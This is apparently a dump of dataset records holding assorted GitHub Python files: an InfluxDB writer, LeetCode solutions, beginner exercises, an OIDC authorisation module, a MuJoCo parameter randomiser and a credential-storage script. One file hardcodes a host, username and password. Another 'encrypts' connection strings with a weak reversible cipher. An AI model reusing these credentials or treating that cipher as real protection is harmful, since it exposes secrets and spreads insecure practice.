username=kwargs[\"username\"] if \"username\" in kwargs else \"root\",\n password=kwargs[\"password\"] if \"password\" in kwargs else \"root\",\n database=kwargs[\"database\"] if \"database\" in kwargs else None,\n ssl=kwargs[\"ssl\"] if \"ssl\" in kwargs else False,\n verify_ssl=kwargs[\"verify_ssl\"] if \"verify_ssl\" in kwargs else False,\n timeout=kwargs[\"timeout\"] if \"timeout\" in kwargs else None,\n retries=1,\n use_udp=kwargs[\"use_udp\"] if \"use_udp\" in kwargs else False,\n udp_port=kwargs[\"udp_port\"] if \"udp_port\" in kwargs else 4444,\n proxies=kwargs[\"proxies\"] if \"proxies\" in kwargs else None,\n pool_size=kwargs[\"pool_size\"] if \"pool_size\" in kwargs else 10,\n path=kwargs[\"path\"] if \"path\" in kwargs else \"\",\n cert=kwargs[\"cert\"] if \"cert\" in kwargs else None,\n gzip=kwargs[\"gzip\"] if \"gzip\" in kwargs else False,\n session=kwargs[\"session\"] if \"session\" in kwargs else None,\n headers=kwargs[\"headers\"] if \"headers\" in kwargs else None\n )\n\n return client\n\n\n# @decorators.retry(3, 100, False)\ndef write_df_points(**kwargs):\n \"\"\"Write to multiple time series names.\"\"\"\n client = get_df_client(**kwargs)\n f_args = client.write_points.__code__.co_varnames\n wp_args = {key: val for key, val in kwargs.items() if key in f_args}\n\n return client.write_points(**wp_args)\n\n\ndef saving_influxdb(_records: list, batch_limit: int = 1000):\n try:\n records = _records\n if len(records) > 0:\n for obj in records:\n if type(obj['timestamp']) is list and type(obj['values']) is list:\n if len(obj['timestamp']) == len(obj['values']):\n df = pd.DataFrame(obj)\n elif len(obj['timestamp']) > len(obj['values']):\n obj['timestamp'] = obj['timestamp'][:len(\n obj['values'])]\n df = pd.DataFrame(obj)\n else:\n obj['values'] = obj['values'][:len(obj['timestamp'])]\n df = pd.DataFrame(obj)\n\n df['asset'] = df['tag_name'].map(lambda x: x.split('.')[0])\n df['tag_name'] = df['tag_name'].map(\n lambda x: '___'.join(x.split('.')[1:])\n )\n asset = df['asset'][0]\n df = df.set_index('asset').loc[df['asset'][0]]\n df['timestamp'] = pd.to_datetime(\n df['timestamp'], unit='ns'\n )\n df.set_index('timestamp', inplace=True)\n df = df.pivot_table(columns='tag_name',\n values='values',\n index='timestamp'\n )\n write_df_points(host='192.168.43.147',\n port=8086,\n username='sdc',\n password='sbrQp10',\n database='sorba_sde',\n dataframe=df,\n measurement=asset,\n time_precision='ms',\n batch_size=batch_limit)\n else:\n raise TypeError(\n 'Data format invalid, expected timestamp and values as list')\n return True\n except Exception as msg:\n raise Exception(\n '[ERROR] Runtime error writing in influxdb {}'.format(msg)\n )\n\n\nif __name__ == '__main__':\n ts = datetime.datetime.now().timestamp()\n with open(\"/home/eduardo/Descargas/Testing_FFT/records.json\") as data:\n _records = json.loads(data.readlines()[0])\n\n \n temp = _records.copy()\n for obj in temp:\n obj[\"timestamp\"] = []\n for pos in range(len(obj[\"values\"])):\n obj[\"timestamp\"].append(((ts * 1000) + pos) * 1000)\n \n \n x = saving_influxdb(temp)\n if x:\n print('Hola')\n","repo_name":"ciromolina86/python-testing","sub_path":"saving_influxdb.py","file_name":"saving_influxdb.py","file_ext":"py","file_size_in_byte":7430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74358384906","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def oddEvenList(self, head: ListNode) -> ListNode:\n\n if head is None:\n return None\n\n index = 0\n\n odd_head = None\n previous_odd = None\n odd_tail = None\n\n even_head = None\n previous_even = None\n even_tail = None\n\n while head:\n if index % 2 == 0:\n if odd_head is None:\n odd_head = head\n previous_odd = odd_head\n else:\n previous_odd.next = head\n previous_odd = head\n odd_tail = head\n else:\n if even_head is None:\n even_head = head\n previous_even = even_head\n else:\n previous_even.next = head\n previous_even = head\n even_tail = head\n\n if head.next:\n head = head.next\n else:\n head.next = None\n break\n\n index += 1\n\n if even_tail:\n even_tail.next = None\n\n odd_tail.next = even_head\n\n return odd_head\n\n\none = ListNode(1)\ntwo = ListNode(2)\nthree = ListNode(3)\nfour = ListNode(4)\nfive = ListNode(5)\nsix = ListNode(6)\nseven = ListNode(7)\neight = ListNode(8)\n\n\ns = Solution()\ns.oddEvenList(one)\n\nprint()\n","repo_name":"SergeySatunin/leetcode","sub_path":"linked_list/odd_even_linked_list.py","file_name":"odd_even_linked_list.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15045314660","text":"sayilar = [1,3,5,7,9,12,19,21]\r\nsonuc = []\r\n\r\n'''\r\nfor x in sayilar: # 3 ebölünebilen sayıları yazdırır.\r\n if x%3==0:\r\n sonuc.append(x)\r\n else:\r\n print(\"None\")\r\nprint(sonuc)\r\n'''\r\n\r\n'''\r\na=0\r\nfor x in sayilar: # sayıların toplamını yazdırır.\r\n a += x \r\nprint(a)\r\n'''\r\n\r\n'''\r\nfor x in sayilar: # tek sayıların karesini yazdırır.\r\n if x%2==1:\r\n sonuc.append(x**2)\r\n else:\r\n print(\"None\")\r\nprint(sonuc)\r\n'''\r\n\r\n'''\r\nsehirler = ['kocaeli','istanbul','ankara','izmir','rize'] # verilen şehirlerden en fazla 5 karakterli olanları ekrara yazdırır.\r\n\r\nfor x in sehirler:\r\n if (len(x)<=5):\r\n print(x)\r\n'''\r\n\r\nurunler = [\r\n {'name':'samsung S6', 'price': '3000' },\r\n {'name':'samsung S7', 'price': '4000' },\r\n {'name':'samsung S8', 'price': '5000' },\r\n {'name':'samsung S9', 'price': '6000' },\r\n {'name':'samsung S10', 'price': '7000' }\r\n]\r\n\r\n'''\r\na =0 # verilen telefonların fiyatlarının toplamını verir.\r\nfor x in urunler:\r\n b = int(x['price'])\r\n a += b\r\nprint(a)\r\n'''\r\n\r\n''' \r\nfor x in urunler: # verilen telefonların fiyatlarının en fazla 5000 olan ürünleri gösterir.\r\n b = int(x['price'])\r\n if b<=5000:\r\n sonuc.append(x)\r\n print(x)\r\n'''\r\n\r\n","repo_name":"ilkerozmen/python-works","sub_path":"for-demo.py","file_name":"for-demo.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"tr","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"27633002881","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\nfrom indicoio import text_tags\nfrom .indico_text_base import TextTest\n\nclass TextTagsTest(TextTest):\n\n def test_batch_texttags(self):\n test_data = [\"On Monday, president Barack Obama will be...\"]\n response = text_tags(test_data)\n self.assertTrue(isinstance(response, list))\n\n def test_text_tags(self):\n text = \"On Monday, president Barack Obama will be...\"\n results = text_tags(text)\n max_keys = sorted(results.keys(), key=lambda x:results.get(x), reverse=True)\n assert 'political_discussion' in max_keys[:5]\n results = text_tags(text, top_n=5)\n assert len(results) is 5\n results = text_tags(text, threshold=0.1)\n for v in results.values():\n assert v >= 0.1\n","repo_name":"EliabWoldeyes/Qhacks2017","sub_path":"IndicoIo-Python/tests/text/test_texttags.py","file_name":"test_texttags.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"456274598","text":"\"\"\"\nAuthorisation module for motley_cue API.\n\"\"\"\nfrom typing import Optional\nfrom enum import Enum\nimport logging\n\nfrom fastapi import Request\nfrom flaat import AuthWorkflow\nfrom flaat.config import AccessLevel\nfrom flaat.fastapi import Flaat\nfrom flaat.requirements import CheckResult, Requirement\nfrom flaat.user_infos import UserInfos\nfrom flaat.exceptions import FlaatException\n\nfrom .config import Config, ConfigAuthorisation, canonical_url\nfrom .exceptions import Unauthorised\n\n\nlogger = logging.getLogger(__name__)\n\n\n# We dynamically load the requirement in is_satisfied_by\nclass AuthRequirement(Requirement):\n \"\"\"Base class for authorisation requirements corresponding to an OP.\"\"\"\n\n # pylint: disable=too-few-public-methods\n def __init__(self, authorisation: ConfigAuthorisation):\n self.authorisation = authorisation\n\n\nclass AuthenticatedUserRequirement(AuthRequirement):\n \"\"\"Requirement for a user to be able to login at the OP.\"\"\"\n\n # pylint: disable=too-few-public-methods\n def is_satisfied_by(self, user_infos: UserInfos) -> CheckResult:\n \"\"\"override method to use configured authorisation\"\"\"\n op_authz = self.authorisation.get_op_authz(user_infos)\n if op_authz is None:\n return CheckResult(False, \"OP is not configured\")\n\n return CheckResult(True, \"OP is configured\")\n\n\nclass AuthorisedUserRequirement(AuthRequirement):\n \"\"\"Requirement for a user to meet the configured authorisation for the OP.\"\"\"\n\n # pylint: disable=too-few-public-methods\n def is_satisfied_by(self, user_infos: UserInfos) -> CheckResult:\n \"\"\"override method to use configured authorisation\"\"\"\n op_authz = self.authorisation.get_op_authz(user_infos)\n if op_authz is None:\n return CheckResult(False, \"OP is not configured\")\n\n return op_authz.get_user_requirement().is_satisfied_by(user_infos)\n\n\nclass AuthorisedAdminRequirement(AuthRequirement):\n \"\"\"Requirement for an admin to meet the configured authorisation for the OP.\"\"\"\n\n # pylint: disable=too-few-public-methods\n def is_satisfied_by(self, user_infos: UserInfos) -> CheckResult:\n \"\"\"override method to use configured authorisation\"\"\"\n op_authz = self.authorisation.get_op_authz(user_infos)\n if op_authz is None:\n return CheckResult(False, \"OP is not configured\")\n\n return op_authz.get_admin_requirement().is_satisfied_by(user_infos)\n\n\nclass AuthorisationType(Enum):\n \"\"\"Class to describe authorisation for an OP.\"\"\"\n\n NOT_SUPPORTED = (\"not supported\", \"OP is not supported.\")\n NOT_CONFIGURED = (\n \"not configured\",\n \"OP is supported but no authorisation is configured.\",\n )\n ALL_USERS = (\"all users\", \"All users from this OP are authorised.\")\n INDIVIDUAL_USERS = (\n \"individual users\",\n \"Users are authorised on an individual basis. \"\n \"Please contact a service administrator to request access.\",\n )\n VO_BASED = (\"VO-based\", \"Users who are in {} of the supported VOs are authorised\")\n\n def __init__(self, mode, info):\n \"\"\"Create authorisation type\"\"\"\n self.__mode = mode\n self.__info = info\n\n def description(self, vo_match=\"one\", audience=\"\"):\n \"\"\"Return a description of the authorisation as a dict\"\"\"\n desc_dict = {\n \"authorisation_type\": self.__mode,\n \"authorisation_info\": self.__info.format(vo_match),\n }\n if audience is not None and audience != \"\" and audience != []:\n desc_dict[\"audience\"] = audience\n return desc_dict\n\n\nclass Authorisation(Flaat):\n \"\"\"Extension for Flaat:\n\n - configures Flaat parameters in given config file\n - more flexible authorisation:\n - per OP configuration\n - individual user authorisation\n - stringify authorisation info\n \"\"\"\n\n def __init__(self, config: Config):\n \"\"\"Initialise Authorisation from given Config object\"\"\"\n super().__init__()\n self.set_trusted_OP_list(config.trusted_ops)\n self.set_verbosity(config.verbosity)\n self.__authorisation = config.authorisation\n self.access_levels = [\n AccessLevel(\n \"authenticated_user\", AuthenticatedUserRequirement(self.__authorisation)\n ),\n AccessLevel(\n \"authorised_user\", AuthorisedUserRequirement(self.__authorisation)\n ),\n AccessLevel(\n \"authorised_admin\", AuthorisedAdminRequirement(self.__authorisation)\n ),\n ]\n\n def info(self, request: Request) -> dict:\n \"\"\"Return authorisation information for issuer of token.\n OIDC Access Token should be found in request headers.\n \"\"\"\n # get OP from request\n try:\n user_infos = self.get_user_infos_from_request(request)\n except FlaatException as ex:\n logger.info(\"Error while trying to get user infos from request: %s\", ex)\n user_infos = None\n if user_infos is None:\n raise Unauthorised(\"Could not get user infos from request.\")\n op_authz = self.__authorisation.get_op_authz(user_infos)\n # if OP not supported\n if op_authz is None:\n return {\n \"OP\": user_infos.issuer,\n **AuthorisationType.NOT_SUPPORTED.description(),\n }\n # if all users from this OP are authorised\n if op_authz.authorise_all:\n return {\n \"OP\": op_authz.op_url,\n **AuthorisationType.ALL_USERS.description(audience=op_authz.audience),\n }\n # if authorised VOs are specified\n if len(op_authz.authorised_vos) > 0:\n return {\n \"OP\": op_authz.op_url,\n **AuthorisationType.VO_BASED.description(\n vo_match=op_authz.vo_match, audience=op_authz.audience\n ),\n \"supported_VOs\": op_authz.authorised_vos,\n }\n # if individual users are specified\n if len(op_authz.authorised_users) > 0:\n return {\n \"OP\": op_authz.op_url,\n **AuthorisationType.INDIVIDUAL_USERS.description(\n audience=op_authz.audience\n ),\n }\n\n # OP is supported but no authorisation is configured\n return {\n \"OP\": op_authz.op_url,\n **AuthorisationType.NOT_CONFIGURED.description(audience=op_authz.audience),\n }\n\n def authenticated_user_required(self, func):\n \"\"\"Decorator that only allows users from supported OPs.\n OIDC Access Token should be found in request headers.\n \"\"\"\n return self.access_level(\"authenticated_user\")(func)\n\n def authorised_user_required(self, func):\n \"\"\"Decorator that only allows users from supported OPs that meet the\n configured authorisation requirements.\n OIDC Access Token should be found in request headers.\n \"\"\"\n return self.access_level(\"authorised_user\")(func)\n\n def authorised_admin_required(self, func):\n \"\"\"Decorator that only allows admins from supported OPs that meet the\n configured authorisation requirements.\n OIDC Access Token should be found in request headers.\n \"\"\"\n\n def _check_request(user_infos: UserInfos, *_, **kwargs) -> CheckResult:\n user_iss = kwargs.get(\"iss\", \"\")\n if user_iss != \"\":\n op_authz = self.__authorisation.get_op_authz(user_infos)\n if op_authz is None:\n return CheckResult(False, \"No OP config\")\n\n if not op_authz.authorise_admins_for_all_ops and canonical_url(\n op_authz.op_url\n ) != canonical_url(user_iss):\n return CheckResult(\n False,\n f\"Admin from issuer {op_authz.op_url} is not authorised to manage \"\n f\"users of issuer '{user_iss}'\",\n )\n\n return CheckResult(True, \"Request is authorised\")\n\n auth_flow = AuthWorkflow(\n self,\n user_requirements=self._get_access_level_requirement(\"authorised_admin\"),\n request_requirements=_check_request,\n )\n return auth_flow.decorate_view_func(func)\n\n def get_user_infos_from_access_token(\n self, access_token, issuer_hint=\"\"\n ) -> Optional[UserInfos]:\n \"\"\"Get a (flaat) UserInfos object from given OIDC Access Token.\"\"\"\n user_infos = super().get_user_infos_from_access_token(access_token, issuer_hint)\n if (\n user_infos is not None\n and user_infos.user_info is not None\n and user_infos.access_token_info is not None\n ):\n # HACK for wlcg OP: copy groups from AT body in 'wlcg.groups' claim\n # to 'groups' claim in userinfo; also needed by feudalAdapter\n wlcg_groups = user_infos.access_token_info.body.get(\"wlcg.groups\", None)\n if wlcg_groups is not None:\n if \"groups\" in user_infos.user_info:\n user_infos.user_info[\"groups\"] += [\n g\n for g in wlcg_groups\n if g not in user_infos.user_info[\"groups\"]\n ]\n else:\n user_infos.user_info[\"groups\"] = wlcg_groups\n return user_infos\n\n def get_uid_from_request(self, request: Request):\n \"\"\"Get a (flaat) UserInfos object from given request.\n OIDC Access Token should be found in request headers.\n \"\"\"\n try:\n user_infos = self.get_user_infos_from_request(request)\n except Exception: # pylint: disable=broad-except\n return None\n if user_infos is None:\n return None\n return {\"sub\": user_infos.subject, \"iss\": user_infos.issuer}\n","repo_name":"dianagudu/motley_cue","sub_path":"motley_cue/mapper/authorisation.py","file_name":"authorisation.py","file_ext":"py","file_size_in_byte":9914,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"5922860236","text":"import mainey\n#подключаем готовую схему чисел через созданный файл\n\nem_num = int ( input ( 'Число сотруднников: ' ) )\nsumm = 0\ndistance_list = []\nprice_list = []\n\nfor i in range( em_num ):\n distance = int( input( 'Расстояние до дома {0}-го сотрудника: '.format( i+1 ) ) )\n distance_list.append( distance )\n\nfor i in range( em_num ):\n price = int( input( 'Тариф {0}-го такси: '.format( i+1 ) ) )\n price_list.append( price )\n\n#Создаём копии списков\ndis_list = distance_list[:] \nprice_list = price_list[:]\n\n#Так же создаем списки для хранения индексов наших значений\nind_list_a = []\nind_list_b = []\n\n#В порядке возрастания и убывания значений переменных заполним списки индексами\nmax_dist = 0\nfor i in range( em_num ): \n index = dis_list.index( max( dis_list ) )\n ind_list_a.append( index )\n dis_list[ index ] = 0\n\nfor i in range( em_num ):\n index = price_list.index( min ( price_list ) )\n ind_list_b.append( index )\n price_list[ index ] = 10**10\n \n#Поиск для каждого i-го в паре списков с индексами нужный индекс такси\nprint('Такси для клиента 1, 2, 3, ...:')\n\nfor i in range( em_num ):\n taxi_num = ind_list_b[ ind_list_a.index ( i ) ]\n print( taxi_num+1 )\nfor i in range( em_num ):\n summ += distance_list[ ind_list_a[ i ] ]*price_list[ ind_list_b[ i ] ]\n\n#вывод итоговой суммы\nprint(summ)\nprint('Итоговая сумма:')\nmainey.out(summ)","repo_name":"ste1wallF/labz8","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1744,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"18134612885","text":"def up_to_vowel(s):\n '''(str) -> str\n return a substring of s from index 0 up to but not including the first vowel in s.\n '''\n i=0\n before_vowel =''\n while i < len(s) and not(s[i] in 'aeiouAEIOU'):\n before_vowel= before_vowel + s[i]\n i = i + 1\n\n return before_vowel\n \ndef remove_vowel(s):\n i=0\n before=''\n while i joint angles\n :param reset_args: dicts containing a randomized parameter set for altering the mujoco model params\n if None, a new set of model params is sampled\n :return: initial observation\n \"\"\"\n assert reset_args is None or type(reset_args) == dict, \"reset_args must be a dict containing mujoco model params\"\n\n self.time_step = 1\n # reset number of steps taken\n self.n_steps = 0\n\n # The first time reset is called -> sample and fix the mujoco parameters\n if self.fix_params and not self.parameters_already_fixed:\n self.sample_and_fix_parameters()\n\n elif not self.parameters_already_fixed:\n self.save_parameters()\n\n if self.fix_params and reset_args is not None:\n warnings.warn(\"Environment parameters are fixed - reset_ars does not have any effect\", UserWarning)\n\n # set mujoco model parameters\n elif (not self.fix_params) and (reset_args is not None):\n self.reset_mujoco_parameters(reset_args)\n elif not self.fix_params:\n # sample parameter set\n reset_args = self.sample_env_params(1)[0]\n self.reset_mujoco_parameters(reset_args)\n\n self.reset_mujoco(init_state)\n self.model.forward()\n self.current_com = self.model.data.com_subtree[0]\n self.dcom = np.zeros_like(self.current_com)\n obs = self.get_current_obs()\n return obs\n\n def reset_mujoco_parameters(self, param_dict):\n for param, param_val in param_dict.items():\n param_variable = getattr(self.model, param)\n assert param_variable.shape == param_val.shape, 'shapes of new parameter value and old one must match'\n setattr(self.model, param, param_val)\n\n def fix_parameters(self, param_dict):\n assert self.fix_params, \"requires sample_and_fix_parameters to be True\"\n self.parameters_already_fixed = True\n self.reset_mujoco_parameters(param_dict)\n\n def sample_and_fix_parameters(self):\n assert hasattr(self, 'sample_env_params'), \"class must implement the sample_env_params method\"\n assert self.fix_params, \"requires sample_and_fix_parameters to be True\"\n param_dict = self.sample_env_params(1)[0]\n self.fix_parameters(param_dict)\n return self\n\n def save_parameters(self):\n assert not self.fix_params\n self.init_params = {}\n if 'body_mass' in self.rand_params:\n self.init_params['body_mass'] = self.model.body_mass\n\n # body_inertia\n if 'body_inertia' in self.rand_params:\n self.init_params['body_inertia'] = self.model.body_inertia\n\n # damping -> different multiplier for different dofs/joints\n if 'dof_damping' in self.rand_params:\n self.init_params['dof_damping'] = self.model.dof_damping\n\n # friction at the body components\n if 'geom_friction' in self.rand_params:\n self.init_params['geom_friction'] = self.model.geom_friction\n\n self.parameters_already_fixed = True\n\n def sample_env_params(self, num_param_sets, log_scale_limit=None):\n \"\"\"\n generates randomized parameter sets for the mujoco env\n :param num_param_sets: number of parameter sets to obtain\n :param log_scale_limit: lower / upper limit for uniform sampling in logspace of base 2\n :return: array of length num_param_sets with dicts containing a randomized parameter set\n \"\"\"\n assert hasattr(self, 'random_state'), \"random_state must be set in the constructor\"\n\n if log_scale_limit is None:\n log_scale_limit = self.log_scale_limit\n\n param_sets = []\n\n for _ in range(num_param_sets):\n # body mass -> one multiplier for all body parts\n\n new_params = {}\n\n if 'body_mass' in self.rand_params:\n body_mass_multiplyers = np.array(1.5)**self.random_state.uniform(-log_scale_limit, log_scale_limit, size=self.model.body_mass.shape)\n new_params['body_mass'] = self.init_params['body_mass'] * body_mass_multiplyers\n\n # body_inertia\n if 'body_inertia' in self.rand_params:\n body_inertia_multiplyers = np.array(1.5)**self.random_state.uniform(-log_scale_limit, log_scale_limit, size=self.model.body_inertia.shape)\n new_params['body_inertia'] = body_inertia_multiplyers * self.init_params['body_inertia']\n\n # damping -> different multiplier for different dofs/joints\n if 'dof_damping' in self.rand_params:\n dof_damping_multipliers = np.array(1.3)**self.random_state.uniform(-log_scale_limit, log_scale_limit, size=self.model.dof_damping.shape)\n new_params['dof_damping'] = np.multiply(self.init_params['dof_damping'], dof_damping_multipliers)\n\n # friction at the body components\n if 'geom_friction' in self.rand_params:\n dof_damping_multipliers = np.array(1.5) ** self.random_state.uniform(-log_scale_limit, log_scale_limit,\n size=self.model.geom_friction.shape)\n new_params['geom_friction'] = np.multiply(self.init_params['geom_friction'], dof_damping_multipliers)\n\n param_sets.append(new_params)\n\n return param_sets\n\n def seed(self, random_seed):\n self.random_seed = random_seed\n self.random_state = np.random.RandomState(random_seed)","repo_name":"jonasrothfuss/model_ensemble_meta_learning","sub_path":"sandbox/ours/envs/mujoco/base_env_rand_param.py","file_name":"base_env_rand_param.py","file_ext":"py","file_size_in_byte":7952,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"81"} +{"seq_id":"22516590687","text":"# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def tree2str(self, root):\n if not root:\n return \"\"\n\n res = \"\"\n res += str(root.val)\n\n leftStr = self.tree2str(root.left)\n rightStr = self.tree2str(root.right)\n\n if leftStr == \"\" and rightStr == \"\":\n return res\n elif leftStr == \"\":\n return res + \"()\" + \"(\" + rightStr + \")\"\n elif rightStr == \"\":\n return res + \"(\" + leftStr + \")\"\n else:\n return res + \"(\" + leftStr + \")\" + \"(\" + rightStr + \")\"\n","repo_name":"abedmohammed/leetcode","sub_path":"606ConstructStringFromBinaryTree.py","file_name":"606ConstructStringFromBinaryTree.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"15443063528","text":"# -*- coding: utf-8 -*-\nfrom typing import List\n\"\"\"\nCreated on Thu Sep 17 14:05:24 2020\n\n@author: c0096\n\n Display Table of Food Orders in a Restaurant\n Given the array orders, which represents the orders that customers have done in a restaurant. More specifically orders[i]=[customerNamei,tableNumberi,foodItemi] where customerNamei is the name of the customer, tableNumberi is the table customer sit at, and foodItemi is the item customer orders.\n\nReturn the restaurant's “display table”. The “display table” is a table whose row entries denote how many of each food item each table ordered. The first column is the table number and the remaining columns correspond to each food item in alphabetical order. The first row should be a header whose first column is “Table”, followed by the names of the food items. Note that the customer names are not part of the table. Additionally, the rows should be sorted in numerically increasing order.\n\n \n\nExample 1:\n\nInput: orders = [[\"David\",\"3\",\"Ceviche\"],[\"Corina\",\"10\",\"Beef Burrito\"],[\"David\",\"3\",\"Fried Chicken\"],[\"Carla\",\"5\",\"Water\"],[\"Carla\",\"5\",\"Ceviche\"],[\"Rous\",\"3\",\"Ceviche\"]]\nOutput: [[\"Table\",\"Beef Burrito\",\"Ceviche\",\"Fried Chicken\",\"Water\"],[\"3\",\"0\",\"2\",\"1\",\"0\"],[\"5\",\"0\",\"1\",\"0\",\"1\"],[\"10\",\"1\",\"0\",\"0\",\"0\"]] \nExplanation:\nThe displaying table looks like:\nTable,Beef Burrito,Ceviche,Fried Chicken,Water\n3 ,0 ,2 ,1 ,0\n5 ,0 ,1 ,0 ,1\n10 ,1 ,0 ,0 ,0\nFor the table 3: David orders \"Ceviche\" and \"Fried Chicken\", and Rous orders \"Ceviche\".\nFor the table 5: Carla orders \"Water\" and \"Ceviche\".\nFor the table 10: Corina orders \"Beef Burrito\". \n\nExample 2:\n\nInput: orders = [[\"James\",\"12\",\"Fried Chicken\"],[\"Ratesh\",\"12\",\"Fried Chicken\"],[\"Amadeus\",\"12\",\"Fried Chicken\"],[\"Adam\",\"1\",\"Canadian Waffles\"],[\"Brianna\",\"1\",\"Canadian Waffles\"]]\nOutput: [[\"Table\",\"Canadian Waffles\",\"Fried Chicken\"],[\"1\",\"2\",\"0\"],[\"12\",\"0\",\"3\"]] \nExplanation: \nFor the table 1: Adam and Brianna order \"Canadian Waffles\".\nFor the table 12: James, Ratesh and Amadeus order \"Fried Chicken\".\n\nExample 3:\n\nInput: orders = [[\"Laura\",\"2\",\"Bean Burrito\"],[\"Jhon\",\"2\",\"Beef Burrito\"],[\"Melissa\",\"2\",\"Soda\"]]\nOutput: [[\"Table\",\"Bean Burrito\",\"Beef Burrito\",\"Soda\"],[\"2\",\"1\",\"1\",\"1\"]]\n\n \n\nConstraints:\n\n 1 <= orders.length <= 5 * 10^4\n orders[i].length == 3\n 1 <= customerNamei.length, foodItemi.length <= 20\n customerNamei and foodItemi consist of lowercase and uppercase English letters and the space character.\n tableNumberi is a valid integer between 1 and 500.\n\n\n\"\"\"\n\nclass Solution:\n def displayTable(self, orders:List[List[str]]) -> List[List[str]]:\n tables = dict()\n foods = list()\n display = list()\n \n for order in orders:\n table = order[1]\n food = order[2]\n \n if food not in foods:\n foods.append(food)\n \n if table not in tables: \n tables[table] = dict()\n tables[table][food] = 1\n elif food not in tables[table]:\n tables[table][food] = 1\n else:\n tables[table][food] += 1\n \n foods.sort()\n head = ['Table']\n head.extend(foods)\n display.append(head)\n table_index = sorted(map(lambda x:int(x), tables.keys()))\n table_index = map(lambda x:str(x),table_index)\n \n for ta in table_index:\n result = [ta]\n for Fd in foods:\n if tables[ta].get(Fd) == None:\n result.append('0')\n else:\n result.append(str(tables[ta].get(Fd)))\n \n display.append(result)\n \n return display\n \n\n","repo_name":"sqluo2972/Algorithm","sub_path":"others/Display Table of Food Orders in a Restaurant..py","file_name":"Display Table of Food Orders in a Restaurant..py","file_ext":"py","file_size_in_byte":3822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"17450844556","text":"import sqlite3\r\nimport sys\r\nimport six\r\nimport base64\r\nimport uuid\r\nimport pyodbc\r\n\r\ndef encryption(key, string):\r\n encoded_chars = []\r\n for i in range(len(string)):\r\n key_c = key[i % len(key)]\r\n encoded_c = chr(ord(string[i]) + ord(key_c) % 256)\r\n encoded_chars.append(encoded_c)\r\n encoded_string = ''.join(encoded_chars)\r\n encoded_string = encoded_string.encode('latin') if six.PY3 else encoded_string\r\n return base64.urlsafe_b64encode(encoded_string).rstrip(b'=')\r\n\r\n\r\ndef decryption(key, string):\r\n string = base64.urlsafe_b64decode(string + '===')\r\n string = string.decode('latin') if six.PY3 else string\r\n encoded_chars = []\r\n for i in range(len(string)):\r\n key_c = key[i % len(key)]\r\n encoded_c = chr((ord(string[i]) - ord(key_c) + 256) % 256)\r\n encoded_chars.append(encoded_c)\r\n encoded_string = ''.join(encoded_chars)\r\n return encoded_string\r\n\r\n\r\n######\r\nhardkey = \"dashboard\"\r\n######\r\n\r\n## check if the user ACTUALLY wants to do this\r\n\r\ncheck = input(\"### This will overwrite the current connection settings. Do you want to change them now? (Y/N): \")\r\n\r\nif check not in (\"Y\", \"y\"):\r\n input(\"### Please run this exe file again if settings need to change\")\r\n sys.exit()\r\n\r\n## let's go and check the database and/or create it if required\r\n\r\ndb = sqlite3.connect(\"PiConnections.db\")\r\ncursor = db.cursor()\r\ncursor.execute(\"DROP TABLE IF EXISTS tblConnStr\")\r\ncursor.execute(\"CREATE TABLE IF NOT EXISTS tblConnStr(strSQLServer TEXT, strSage TEXT, strSoftkey TEXT )\")\r\ndb.commit()\r\n\r\n## go and get a unique key\r\n\r\nsoftkey = str(uuid.uuid4())\r\n\r\n## stick it in the db\r\n\r\ndata = (\"INSERT INTO tblConnStr(strSoftkey) VALUES('%s')\" % (softkey))\r\ncursor.execute(data)\r\ndb.commit()\r\n\r\n## just make sure we're using the softkey that is stored to encrypt\r\n\r\ncursor.execute(\"SELECT strSoftkey FROM tblConnStr\")\r\nsoftkey = cursor.fetchone()[0]\r\n\r\nkey = hardkey + softkey\r\n\r\n## Now go and get the SQL SERVER details from the user and enter in our db\r\n\r\nwhile True:\r\n print(\"\\n### Please enter the SQL Server details ###\")\r\n strServer = input(\"Enter SQL Server Host Name (e.g. localhost\\SQLEXPRESS): \")\r\n strDBName = input(\"Enter SQL Database Name (e.g. PI_Sage50): \")\r\n strUser = input(\"Enter SQL UserName: \")\r\n strPass = input(\"Enter SQL Password: \")\r\n\r\n SQLstring = (\"Driver={ODBC Driver 17 for SQL Server};Server=%s;Database=%s;UID=%s;PWD=%s;\" % (strServer,strDBName,strUser,strPass))\r\n\r\n\r\n ## encrypt the string and store in the db\r\n\r\n en = encryption(key, SQLstring)\r\n en = en.decode('ASCII')\r\n\r\n data = (\"UPDATE tblConnStr SET strSQLServer = '%s' WHERE strSoftkey = '%s'\" % (en, softkey))\r\n\r\n cursor.execute(data)\r\n db.commit()\r\n\r\n ## Now go and get the Sage 50 details from the user and enter in our db\r\n\r\n print(\"\\n### Please enter the Sage 50 details ###\")\r\n strUser = input(\"Enter Sage 50 UserName: \")\r\n strPass = input(\"Enter Sage 50 Password: \")\r\n\r\n filename = \"PIDataSources.txt\"\r\n S50String = (\"UID=%s;PWD=%s; \" % (strUser, strPass))\r\n en = encryption(key, S50String)\r\n en = en.decode('ASCII')\r\n data = (\"UPDATE tblConnStr SET strSage = '%s' WHERE strSoftkey = '%s' \" % (en, softkey))\r\n cursor.execute(data)\r\n db.commit()\r\n\r\n # Test the connection details by inserting audit table\r\n try:\r\n\r\n with open(filename) as f:\r\n source = f.readlines()\r\n source = [x.strip() for x in source]\r\n\r\n comcount = 